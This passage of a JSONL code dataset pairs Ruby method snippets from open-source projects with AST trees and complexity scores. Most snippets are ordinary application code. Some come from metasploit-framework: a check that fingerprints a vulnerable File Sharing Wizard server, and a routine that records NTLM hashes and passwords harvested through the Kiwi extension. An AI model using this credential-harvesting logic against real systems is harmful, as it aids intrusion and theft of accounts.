hildren\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migration_class\"]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"old_table_name=\",{\"type\":\"lvar\",\"children\":[\"old_table_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"new_table_name=\",{\"type\":\"lvar\",\"children\":[\"new_table_name\"]}]}]}]}]}]}","id":"3a5b2855-9ac3-48dd-b62b-c091329d4980"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/manageiq/providers/embedded_ansible/automation_manager/job/status.rb","start_line":21,"raw_source":"def failed?\n    completed? && task_status != MiqTask::STATUS_OK\n  end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"failed?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"completed?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"task_status\"]},\"!=\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqTask\"]},\"STATUS_OK\"]}]}]}]}","id":"3f66fd5e-b40f-496d-929d-fa27b2f8bb36"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/work_item.rb","start_line":441,"raw_source":"def parent_link_confidentiality\n    if confidential? && work_item_children.public_only.exists?\n      errors.add(:base, _('All child items must be confidential in order to turn on confidentiality.'))\n    end\n\n    if !confidential? && work_item_parent&.confidential?\n      errors.add(:base, _('A non-confidential work item cannot have a confidential parent.'))\n    end\n  end","complexity_score":21.3,"ast_json":"{\"type\":\"def\",\"children\":[\"parent_link_confidentiality\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"confidential?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"work_item_children\"]},\"public_only\"]},\"exists?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"All child items must be confidential in order to turn on confidentiality.\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"confidential?\"]},\"!\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"work_item_parent\"]},\"confidential?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"A non-confidential work item cannot have a confidential parent.\"]}]}]},null]}]}]}","id":"a9593b3a-34e7-4330-b02d-fec794253d24"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/test_plugin_classes.rb","start_line":56,"raw_source":"def sub(value)\n      @data -= value\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"sub\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@data\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}","id":"d8635e46-52d4-44c5-b33e-95881977eb10"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/user_notifications.rb","start_line":23,"raw_source":"def has_selected_filter_value?(value)\n        expect(filter_dropdown).to have_selected_value(value)\n      end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"has_selected_filter_value?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"filter_dropdown\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_selected_value\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}","id":"ab7fff92-d393-4538-8dae-4299a633a8a5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/usage/metrics/query.rb","start_line":95,"raw_source":"def node_to_operate(relation, column)\n            if join_relation?(relation) && joined_column?(column)\n              table_name, column_name = column.split(\".\")\n              Arel::Table.new(table_name)[column_name]\n            else\n              relation.all.table[column]\n            end\n          end","complexity_score":15.5,"ast_json":"{\"type\":\"def\",\"children\":[\"node_to_operate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"relation\"]},{\"type\":\"arg\",\"children\":[\"column\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"join_relation?\",{\"type\":\"lvar\",\"children\":[\"relation\"]}]},{\"type\":\"send\",\"children\":[null,\"joined_column?\",{\"type\":\"lvar\",\"children\":[\"column\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"table_name\"]},{\"type\":\"lvasgn\",\"children\":[\"column_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"split\",{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"Table\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"table_name\"]}]},\"[]\",{\"type\":\"lvar\",\"children\":[\"column_name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"all\"]},\"table\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"column\"]}]}]}]}","id":"3a120379-b9c8-40d2-ab9d-a4c9a98669ff"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/file_sharing_wizard_seh.rb","start_line":52,"raw_source":"def check\n    res = send_request_cgi\n    if res.nil?\n      fail_with(Failure::Unreachable, 'Connection timed out.')\n    end\n    # Checks for the `WWW-Authenticate` header in the response\n    if res.code && res.code == 401 && res.headers['WWW-Authenticate'].include?('Basic realm=\"File Sharing Wizard\"')\n      CheckCode::Detected\n    else\n      CheckCode::Safe\n    end\n  end","complexity_score":16.45,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unreachable\"]},{\"type\":\"str\",\"children\":[\"Connection timed out.\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[401]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"WWW-Authenticate\"]}]},\"include?\",{\"type\":\"str\",\"children\":[\"Basic realm=\\\"File Sharing Wizard\\\"\"]}]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Detected\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]}]}]}","id":"89c9ea4d-0b45-4cd4-9154-ed842ef1e3cf"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/primer/open_project/forms/autocompleter.rb","start_line":13,"raw_source":"def initialize(input:, autocomplete_options:, wrapper_data_attributes: {})\n          super()\n          @input = input\n          @with_search_icon = autocomplete_options.delete(:with_search_icon) { false }\n          @autocomplete_component = autocomplete_options.delete(:component) { \"opce-autocompleter\" }\n          @autocomplete_data = autocomplete_options.delete(:data) { {} }\n          @autocomplete_inputs = extend_autocomplete_inputs(autocomplete_options)\n          @wrapper_data_attributes = wrapper_data_attributes\n        end","complexity_score":14.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"input\"]},{\"type\":\"kwarg\",\"children\":[\"autocomplete_options\"]},{\"type\":\"kwoptarg\",\"children\":[\"wrapper_data_attributes\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@input\",{\"type\":\"lvar\",\"children\":[\"input\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@with_search_icon\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"autocomplete_options\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"with_search_icon\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@autocomplete_component\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"autocomplete_options\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"component\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"opce-autocompleter\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@autocomplete_data\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"autocomplete_options\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"data\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@autocomplete_inputs\",{\"type\":\"send\",\"children\":[null,\"extend_autocomplete_inputs\",{\"type\":\"lvar\",\"children\":[\"autocomplete_options\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@wrapper_data_attributes\",{\"type\":\"lvar\",\"children\":[\"wrapper_data_attributes\"]}]}]}]}","id":"262bbed0-8a30-41db-ac9c-e809aa5902b6"}
{"repo_name":"reek","file_path":"./repos/reek/lib/reek/code_comment.rb","start_line":152,"raw_source":"def detector_class\n        @detector_class ||= SmellDetectors::BaseDetector.to_detector(detector_name)\n      rescue NameError\n        raise Errors::BadDetectorInCommentError.new(detector_name: detector_name,\n                                                    original_comment: original_comment,\n                                                    source: source,\n                                                    line: line)\n      end","complexity_score":12.9,"ast_json":"{\"type\":\"def\",\"children\":[\"detector_class\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@detector_class\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SmellDetectors\"]},\"BaseDetector\"]},\"to_detector\",{\"type\":\"send\",\"children\":[null,\"detector_name\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NameError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errors\"]},\"BadDetectorInCommentError\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"detector_name\"]},{\"type\":\"send\",\"children\":[null,\"detector_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"original_comment\"]},{\"type\":\"send\",\"children\":[null,\"original_comment\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"send\",\"children\":[null,\"source\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"line\"]},{\"type\":\"send\",\"children\":[null,\"line\"]}]}]}]}]}]},null]}]}","id":"26a39d69-7488-4111-aa32-a012092d2829"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/generators/database.rb","start_line":136,"raw_source":"def volume\n        return unless service\n\n        \"#{name}-data\"\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"volume\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"service\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"str\",\"children\":[\"-data\"]}]}]}]}","id":"9ca8b152-6719-4814-9da8-6a93b8a3b092"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb","start_line":678,"raw_source":"def report_creds(type, user, domain, secret)\n    if client&.db_record&.id.nil?\n      wlog('The session is not stored correctly in the database. Something went wrong.')\n      return\n    end\n\n    credential_data = {\n        origin_type: :session,\n        post_reference_name: 'kiwi',\n        private_data: nil,\n        private_type: nil,\n        session_id: client.db_record.id,\n        username: user,\n        workspace_id: shell.framework.db.workspace.id\n    }\n\n    return if (user.empty? || secret.eql?('(null)'))\n\n    case type\n    when :msv\n      ntlm_hash = secret.strip.downcase\n      if ntlm_hash != Metasploit::Credential::NTLMHash::BLANK_NT_HASH\n        ntlm_hash = \"#{Metasploit::Credential::NTLMHash::BLANK_LM_HASH}:#{ntlm_hash}\"\n        # Assemble data about the credential objects we will be creating\n        credential_data[:private_type] = :ntlm_hash\n        credential_data[:private_data] = ntlm_hash\n        credential_core = create_cred(credential_data, domain)\n        report_smb_cred(credential_core)\n      end\n    when :wdigest, :kerberos, :tspkg, :livessp, :ssp\n      # Assemble data about the credential objects we will be creating\n      credential_data[:private_type] = :password\n      credential_data[:private_data] = secret\n\n      credential_core = create_cred(credential_data, domain)\n      report_smb_cred(credential_core)\n    end\n  end","complexity_score":47.3,"ast_json":"{\"type\":\"def\",\"children\":[\"report_creds\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"domain\"]},{\"type\":\"arg\",\"children\":[\"secret\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"db_record\"]},\"id\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wlog\",{\"type\":\"str\",\"children\":[\"The session is not stored correctly in the database. Something went wrong.\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"credential_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"origin_type\"]},{\"type\":\"sym\",\"children\":[\"session\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_reference_name\"]},{\"type\":\"str\",\"children\":[\"kiwi\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_data\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_type\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"session_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"db_record\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"shell\"]},\"framework\"]},\"db\"]},\"workspace\"]},\"id\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"secret\"]},\"eql?\",{\"type\":\"str\",\"children\":[\"(null)\"]}]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"msv\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ntlm_hash\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"secret\"]},\"strip\"]},\"downcase\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ntlm_hash\"]},\"!=\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Credential\"]},\"NTLMHash\"]},\"BLANK_NT_HASH\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ntlm_hash\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Credential\"]},\"NTLMHash\"]},\"BLANK_LM_HASH\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ntlm_hash\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential_data\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"private_type\"]},{\"type\":\"sym\",\"children\":[\"ntlm_hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential_data\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"private_data\"]},{\"type\":\"lvar\",\"children\":[\"ntlm_hash\"]}]},{\"type\":\"lvasgn\",\"children\":[\"credential_core\",{\"type\":\"send\",\"children\":[null,\"create_cred\",{\"type\":\"lvar\",\"children\":[\"credential_data\"]},{\"type\":\"lvar\",\"children\":[\"domain\"]}]}]},{\"type\":\"send\",\"children\":[null,\"report_smb_cred\",{\"type\":\"lvar\",\"children\":[\"credential_core\"]}]}]},null]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"wdigest\"]},{\"type\":\"sym\",\"children\":[\"kerberos\"]},{\"type\":\"sym\",\"children\":[\"tspkg\"]},{\"type\":\"sym\",\"children\":[\"livessp\"]},{\"type\":\"sym\",\"children\":[\"ssp\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential_data\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"private_type\"]},{\"type\":\"sym\",\"children\":[\"password\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential_data\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"private_data\"]},{\"type\":\"lvar\",\"children\":[\"secret\"]}]},{\"type\":\"lvasgn\",\"children\":[\"credential_core\",{\"type\":\"send\",\"children\":[null,\"create_cred\",{\"type\":\"lvar\",\"children\":[\"credential_data\"]},{\"type\":\"lvar\",\"children\":[\"domain\"]}]}]},{\"type\":\"send\",\"children\":[null,\"report_smb_cred\",{\"type\":\"lvar\",\"children\":[\"credential_core\"]}]}]}]},null]}]}]}","id":"1629fe74-4611-4592-aef6-e06b3fb2f4ad"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/site_settings/validations.rb","start_line":235,"raw_source":"def validate_slow_down_crawler_user_agents(new_val)\n    return if new_val.blank?\n\n    new_val\n      .downcase\n      .split(\"|\")\n      .each do |crawler|\n        if crawler.size < 3\n          validate_error(:slow_down_crawler_user_agent_must_be_at_least_3_characters)\n        end\n        if PROHIBITED_USER_AGENT_STRINGS.any? { |c| c.include?(crawler) }\n          validate_error(\n            :slow_down_crawler_user_agent_cannot_be_popular_browsers,\n            values: PROHIBITED_USER_AGENT_STRINGS.join(I18n.t(\"word_connector.comma\")),\n          )\n        end\n      end\n  end","complexity_score":21.45,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_slow_down_crawler_user_agents\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"new_val\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_val\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_val\"]},\"downcase\"]},\"split\",{\"type\":\"str\",\"children\":[\"|\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"crawler\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"crawler\"]},\"size\"]},\"<\",{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"send\",\"children\":[null,\"validate_error\",{\"type\":\"sym\",\"children\":[\"slow_down_crawler_user_agent_must_be_at_least_3_characters\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PROHIBITED_USER_AGENT_STRINGS\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"crawler\"]}]}]},{\"type\":\"send\",\"children\":[null,\"validate_error\",{\"type\":\"sym\",\"children\":[\"slow_down_crawler_user_agent_cannot_be_popular_browsers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"values\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PROHIBITED_USER_AGENT_STRINGS\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"word_connector.comma\"]}]}]}]}]}]},null]}]}]}]}]}","id":"1c141c2c-d0ba-4ca9-8ec6-5b88ba66e0d5"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/controllers/api/v1/accounts/applied_slas_controller.rb","start_line":13,"raw_source":"def index\n    @count = number_of_sla_misses\n    @applied_slas = @missed_applied_slas.page(@current_page).per(RESULTS_PER_PAGE)\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@count\",{\"type\":\"send\",\"children\":[null,\"number_of_sla_misses\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@applied_slas\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@missed_applied_slas\"]},\"page\",{\"type\":\"ivar\",\"children\":[\"@current_page\"]}]},\"per\",{\"type\":\"const\",\"children\":[null,\"RESULTS_PER_PAGE\"]}]}]}]}]}","id":"bf60db82-8c04-43da-b60a-9870a77a3bf3"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/services/user_activator.rb","start_line":17,"raw_source":"def finish\n    @message = activator.activate\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"finish\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@message\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"activator\"]},\"activate\"]}]}]}","id":"90e2f3eb-4448-4cda-b4b3-edd2c90e78d4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/local/vagrant_synced_folder_vagrantfile_breakout.rb","start_line":115,"raw_source":"def vagrantfile\n    @vagrantfile ||= find_vagrantfile_path\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"vagrantfile\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@vagrantfile\"]},{\"type\":\"send\",\"children\":[null,\"find_vagrantfile_path\"]}]}]}","id":"9f78ba31-5fe4-4ed7-9a5b-70c412c69649"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/resolvers/ci/catalog/resource_resolver.rb","start_line":28,"raw_source":"def resolve(id: nil, full_path: nil)\n          catalog_resource = if full_path.present?\n                               ::Ci::Catalog::Listing.new(current_user).find_resource(full_path: full_path)\n                             else\n                               ::Ci::Catalog::Listing.new(current_user).find_resource(id: id.model_id)\n                             end\n\n          raise_resource_not_available_error! unless catalog_resource\n\n          catalog_resource\n        end","complexity_score":14.2,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"id\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"full_path\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"catalog_resource\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"full_path\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"Catalog\"]},\"Listing\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},\"find_resource\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"full_path\"]},{\"type\":\"lvar\",\"children\":[\"full_path\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"Catalog\"]},\"Listing\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},\"find_resource\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]},\"model_id\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"catalog_resource\"]},null,{\"type\":\"send\",\"children\":[null,\"raise_resource_not_available_error!\"]}]},{\"type\":\"lvar\",\"children\":[\"catalog_resource\"]}]}]}","id":"2e2fcc2a-b591-40ec-90fc-b2ec9c02d32c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/issues_finder/params.rb","start_line":29,"raw_source":"def filter_by_due_this_month?\n      due_date? && params[:due_date] == Issue::DueThisMonth.name\n    end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"filter_by_due_this_month?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"due_date?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"due_date\"]}]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Issue\"]},\"DueThisMonth\"]},\"name\"]}]}]}]}","id":"f54029d7-8ea4-4dc7-afc0-422bec11b734"}
